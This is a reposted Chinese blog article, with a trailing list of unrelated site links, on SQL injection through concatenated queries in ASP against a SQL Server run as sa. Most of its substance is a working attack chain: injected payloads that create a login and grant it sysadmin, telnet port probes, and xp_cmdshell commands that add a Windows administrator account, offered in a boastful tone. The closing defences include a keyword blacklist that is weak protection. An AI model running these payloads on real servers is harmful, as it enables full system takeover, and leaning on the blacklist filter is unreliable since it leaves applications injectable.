select .. where name = "+ Request.QueryString["name"]的后果?
来源:互联网 发布:windows找不到bat文件 编辑:程序博客网 时间:2024/04/26 02:52
很多人用数据库发布的时候都用的sa,再加上"select .. where name = "+ Request.QueryString["name"]这样的操作,我们来看看结果是怎么样?!
[篇幅问题,具体命令自己查查]
把Request.QueryString["name"]的值改为:
1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组
用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..
不可以呢?
向下看
象上面编程的人安全意识都不高,看看他的机子有那些端口开着
telnet www.***.com 1433
telnet www.***.com 3389
telnet www.***.com 21
telnet www.***.com 139
telnet www.***.com 445
大多数都开着,下面我们就假设都开了!
运行下面的存储过程在他的sql查询分析器里,一条条运行
exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'
这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号
后面想干什么我就不细说,有问我就答
防止攻击:
方法一——过滤单引号
function escape(input)
input=replace(input,"'","''")
escape=input
end function
方法二——拒绝已知的错误输入
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","—","'")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function
方法三——只允许正确的输入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296
- select .. where name = "+ Request.QueryString["name"]的后果?
- select name where id>1
- select name from syscolumns where id=object_id(\'表名\')
- if exists (select *from sysobjects where name='shangpininsert ')
- 在判断Request .QueryString [\"name\"]是否为空时应注意的问题
- 两个.aspx 页面传值 Request.QueryString["NAME"]
- select * from user where name in (select name from user group by name having count(*) > 1)
- SELECT * FROM TABLE 和 SELECT * FROM TABLE WHERE NAME LIKE '%%' 的检索结果为何不同?
- request["name"]
- 查所有表名 select name from syscolumns where id=object_id('ReorgDB.dbo.Reorg_ReorgInfor')
- select value from v$diag_info where name='Default Trace File';
- string name = request.getParameter("name"); JAVA上传图片文件name返回空null解决办法
- request.getParameter("name")
- request.getHeader("NAME");
- request.getParameter("Name")
- Request.QueryString 的用法
- UCenter info: MySQL Query Error SQL:SELECT value FROM [Table]vars WHERE name=\'noteexists2′ Error:SELECT command denied to use
- name
- BOOST学习
- 【旧】2004-4-7 10:04:26 吾生也有涯,而知也无涯。以有涯随无涯,殆已
- 关于Struts和Webwork2的比较-转贴
- 技术成长历程(.net)2
- 深入Struts 1.1 -转贴
- select .. where name = "+ Request.QueryString["name"]的后果?
- 感冒
- 2004年又过去一半了,时间未免也太快了吧~~
- Bryce的blog,估计他不会更新了,帮他存起来。
- DB2读书笔记
- 怎样的人才算成熟
- oracle读书笔记
- sqlserver读书笔记
- 论坛中一个关于SQL Server调度,作业等的答问。